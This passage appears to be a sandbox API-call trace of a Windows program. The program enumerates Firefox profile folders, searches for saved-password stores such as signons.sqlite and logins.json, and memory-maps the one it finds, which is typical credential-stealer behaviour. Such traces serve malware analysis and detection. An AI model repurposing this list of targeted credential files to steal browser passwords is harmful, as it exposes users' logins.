[0048.151] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.151] lstrlenA (lpString="\\") returned 1 [0048.151] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x746ad0 [0048.151] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.151] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.151] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.152] lstrlenA (lpString="minidumps") returned 9 [0048.152] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x74f980 [0048.152] lstrcpyA (in: lpString1=0x74f980, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.152] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="minidumps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" [0048.152] LocalFree (hMem=0x746ad0) returned 0x0 [0048.152] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned 91 [0048.152] lstrlenA (lpString="\\*.*") returned 4 [0048.152] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x746ad0 [0048.152] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" [0048.152] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*" [0048.152] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*", lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 0x72dcd0 [0048.152] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.152] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 1 [0048.152] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.152] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.152] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 0 [0048.152] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0048.152] LocalFree (hMem=0x746ad0) returned 0x0 [0048.152] LocalFree (hMem=0x74f980) returned 0x0 [0048.152] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.152] StrStrIA (lpFirst="parent.lock", lpSrch="signons.sqlite") returned 0x0 [0048.152] lstrlenA (lpString="parent.lock") returned 11 [0048.152] StrStrIA (lpFirst="parent.lock", lpSrch="logins.json") returned 0x0 [0048.152] StrStrIA (lpFirst="parent.lock", lpSrch="signons.txt") returned 0x0 [0048.152] StrStrIA (lpFirst="parent.lock", lpSrch="signons2.txt") returned 0x0 [0048.152] StrStrIA (lpFirst="parent.lock", lpSrch="signons3.txt") returned 0x0 [0048.152] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.152] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.152] lstrlenA (lpString="permissions.sqlite") returned 18 [0048.152] StrStrIA (lpFirst="permissions.sqlite", lpSrch="logins.json") returned 0x0 [0048.152] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.txt") returned 0x0 [0048.152] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.152] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.152] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.152] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.152] lstrlenA (lpString="places.sqlite") returned 13 [0048.152] StrStrIA (lpFirst="places.sqlite", lpSrch="logins.json") returned 0x0 [0048.152] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.txt") returned 0x0 [0048.152] StrStrIA (lpFirst="places.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.152] StrStrIA (lpFirst="places.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.152] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.152] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.sqlite") returned 0x0 [0048.152] lstrlenA (lpString="pluginreg.dat") returned 13 [0048.152] StrStrIA (lpFirst="pluginreg.dat", lpSrch="logins.json") returned 0x0 [0048.152] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.txt") returned 0x0 [0048.152] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons2.txt") returned 0x0 [0048.152] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons3.txt") returned 0x0 [0048.153] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.153] StrStrIA (lpFirst="prefs.js", lpSrch="signons.sqlite") returned 0x0 [0048.153] lstrlenA (lpString="prefs.js") returned 8 [0048.153] StrStrIA (lpFirst="prefs.js", lpSrch="logins.json") returned 0x0 [0048.153] StrStrIA (lpFirst="prefs.js", lpSrch="signons.txt") returned 0x0 [0048.153] StrStrIA (lpFirst="prefs.js", lpSrch="signons2.txt") returned 0x0 [0048.153] StrStrIA (lpFirst="prefs.js", lpSrch="signons3.txt") returned 0x0 [0048.153] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.153] StrStrIA (lpFirst="search.json", lpSrch="signons.sqlite") returned 0x0 [0048.153] lstrlenA (lpString="search.json") returned 11 [0048.153] StrStrIA (lpFirst="search.json", lpSrch="logins.json") returned 0x0 [0048.153] StrStrIA (lpFirst="search.json", lpSrch="signons.txt") returned 0x0 [0048.153] StrStrIA (lpFirst="search.json", lpSrch="signons2.txt") returned 0x0 [0048.153] StrStrIA (lpFirst="search.json", lpSrch="signons3.txt") returned 0x0 [0048.153] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.153] StrStrIA (lpFirst="secmod.db", lpSrch="signons.sqlite") returned 0x0 [0048.153] lstrlenA (lpString="secmod.db") returned 9 [0048.153] StrStrIA (lpFirst="secmod.db", lpSrch="logins.json") returned 0x0 [0048.153] StrStrIA (lpFirst="secmod.db", lpSrch="signons.txt") returned 0x0 [0048.153] StrStrIA (lpFirst="secmod.db", lpSrch="signons2.txt") returned 0x0 [0048.153] StrStrIA (lpFirst="secmod.db", lpSrch="signons3.txt") returned 0x0 [0048.153] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.153] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.sqlite") returned 0x0 [0048.153] lstrlenA (lpString="sessionstore.bak") returned 16 [0048.153] StrStrIA (lpFirst="sessionstore.bak", lpSrch="logins.json") returned 0x0 [0048.153] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.txt") returned 0x0 [0048.153] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons2.txt") returned 0x0 [0048.153] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons3.txt") returned 0x0 [0048.153] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.153] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.sqlite") returned 0x0 [0048.153] lstrlenA (lpString="sessionstore.js") returned 15 [0048.153] StrStrIA (lpFirst="sessionstore.js", lpSrch="logins.json") returned 0x0 [0048.153] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.txt") returned 0x0 [0048.153] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons2.txt") returned 0x0 [0048.153] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons3.txt") returned 0x0 [0048.153] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.153] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.sqlite") returned="signons.sqlite" [0048.153] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.153] lstrlenA (lpString="\\") returned 1 [0048.153] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x746ad0 [0048.153] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.153] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.153] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.153] lstrlenA (lpString="signons.sqlite") returned 14 [0048.153] LocalAlloc (uFlags=0x40, uBytes=0xe1) returned 0x74d998 [0048.153] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.153] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="signons.sqlite" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" [0048.153] LocalFree (hMem=0x746ad0) returned 0x0 [0048.153] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0048.153] CloseHandle (hObject=0x39c) returned 1 [0048.154] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x62 [0048.154] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x74da88 [0048.154] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite", lpDst=0x74da88, nSize=0x62 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite") returned 0x61 [0048.154] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0048.154] CloseHandle (hObject=0x39c) returned 1 [0048.154] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0048.154] GetFileSize (in: hFile=0x39c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x50000 [0048.154] CreateFileMappingA (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x3b0 [0048.154] MapViewOfFile (hFileMappingObject=0x3b0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x480000 [0048.156] UnmapViewOfFile (lpBaseAddress=0x480000) returned 1 [0048.157] CloseHandle (hObject=0x3b0) returned 1 [0048.157] CloseHandle (hObject=0x39c) returned 1 [0048.157] LocalFree (hMem=0x74da88) returned 0x0 [0048.157] LocalFree (hMem=0x74d998) returned 0x0 [0048.157] lstrlenA (lpString="signons.sqlite") returned 14 [0048.157] StrStrIA (lpFirst="signons.sqlite", lpSrch="logins.json") returned 0x0 [0048.157] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.txt") returned 0x0 [0048.157] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.157] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.157] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.157] StrStrIA (lpFirst="times.json", lpSrch="signons.sqlite") returned 0x0 [0048.157] lstrlenA (lpString="times.json") returned 10 [0048.157] StrStrIA (lpFirst="times.json", lpSrch="logins.json") returned 0x0 [0048.157] StrStrIA (lpFirst="times.json", lpSrch="signons.txt") returned 0x0 [0048.157] StrStrIA (lpFirst="times.json", lpSrch="signons2.txt") returned 0x0 [0048.157] StrStrIA (lpFirst="times.json", lpSrch="signons3.txt") returned 0x0 [0048.157] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.157] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.sqlite") returned 0x0 [0048.157] lstrlenA (lpString="urlclassifierkey3.txt") returned 21 [0048.157] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="logins.json") returned 0x0 [0048.157] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.txt") returned 0x0 [0048.157] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons2.txt") returned 0x0 [0048.157] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons3.txt") returned 0x0 [0048.157] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.157] lstrcmpiA (lpString1=".", lpString2="webapps") returned -1 [0048.157] lstrcmpiA (lpString1="..", lpString2="webapps") returned -1 [0048.157] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.158] lstrlenA (lpString="\\") returned 1 [0048.158] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x746ad0 [0048.158] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.158] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.158] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.158] lstrlenA (lpString="webapps") returned 7 [0048.158] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x74f980 [0048.158] lstrcpyA (in: lpString1=0x74f980, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.158] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="webapps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" [0048.158] LocalFree (hMem=0x746ad0) returned 0x0 [0048.158] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned 89 [0048.158] lstrlenA (lpString="\\*.*") returned 4 [0048.158] LocalAlloc (uFlags=0x40, uBytes=0xde) returned 0x746ad0 [0048.158] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" [0048.158] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*" [0048.158] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*", lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 0x72dcd0 [0048.158] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.158] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 1 [0048.158] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.158] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.158] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 1 [0048.158] StrStrIA (lpFirst="webapps.json", lpSrch="signons.sqlite") returned 0x0 [0048.158] lstrlenA (lpString="webapps.json") returned 12 [0048.158] StrStrIA (lpFirst="webapps.json", lpSrch="logins.json") returned 0x0 [0048.158] StrStrIA (lpFirst="webapps.json", lpSrch="signons.txt") returned 0x0 [0048.158] StrStrIA (lpFirst="webapps.json", lpSrch="signons2.txt") returned 0x0 [0048.158] StrStrIA (lpFirst="webapps.json", lpSrch="signons3.txt") returned 0x0 [0048.158] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 0 [0048.158] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0048.158] LocalFree (hMem=0x746ad0) returned 0x0 [0048.158] LocalFree (hMem=0x74f980) returned 0x0 [0048.158] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.158] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.158] lstrlenA (lpString="webappsstore.sqlite") returned 19 [0048.158] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="logins.json") returned 0x0 [0048.158] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.txt") returned 0x0 [0048.158] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.158] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.158] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 0 [0048.158] FindClose (in: hFindFile=0x72dc90 | out: hFindFile=0x72dc90) returned 1 [0048.158] LocalFree (hMem=0x7469f0) returned 0x0 [0048.158] LocalFree (hMem=0x74d860) returned 0x0 [0048.158] LocalFree (hMem=0x74a738) returned 0x0 [0048.158] LocalFree (hMem=0x75b090) returned 0x0 [0048.158] LocalFree (hMem=0x745b68) returned 0x0 [0048.158] LocalFree (hMem=0x9401750) returned 0x0 [0048.159] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.159] lstrlenA (lpString="*.*") returned 3 [0048.159] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x74a738 [0048.159] lstrcpyA (in: lpString1=0x74a738, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.159] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\*.*" [0048.159] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\*.*", lpFindFileData=0xefa34 | out: lpFindFileData=0xefa34) returned 0x72dc90 [0048.159] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.159] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa34 | out: lpFindFileData=0xefa34) returned 1 [0048.159] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.159] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.159] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa34 | out: lpFindFileData=0xefa34) returned 1 [0048.159] lstrcmpiA (lpString1=".", lpString2="Crash Reports") returned -1 [0048.159] lstrcmpiA (lpString1="..", lpString2="Crash Reports") returned -1 [0048.159] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.159] lstrlenA (lpString="") returned 0 [0048.159] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74a800 [0048.159] lstrcpyA (in: lpString1=0x74a800, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.159] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.159] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.159] lstrlenA (lpString="Crash Reports") returned 13 [0048.159] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x745b68 [0048.159] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.159] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Crash Reports" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" [0048.159] LocalFree (hMem=0x74a800) returned 0x0 [0048.159] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned 69 [0048.159] lstrlenA (lpString="\\*.*") returned 4 [0048.159] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x75c938 [0048.159] lstrcpyA (in: lpString1=0x75c938, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash 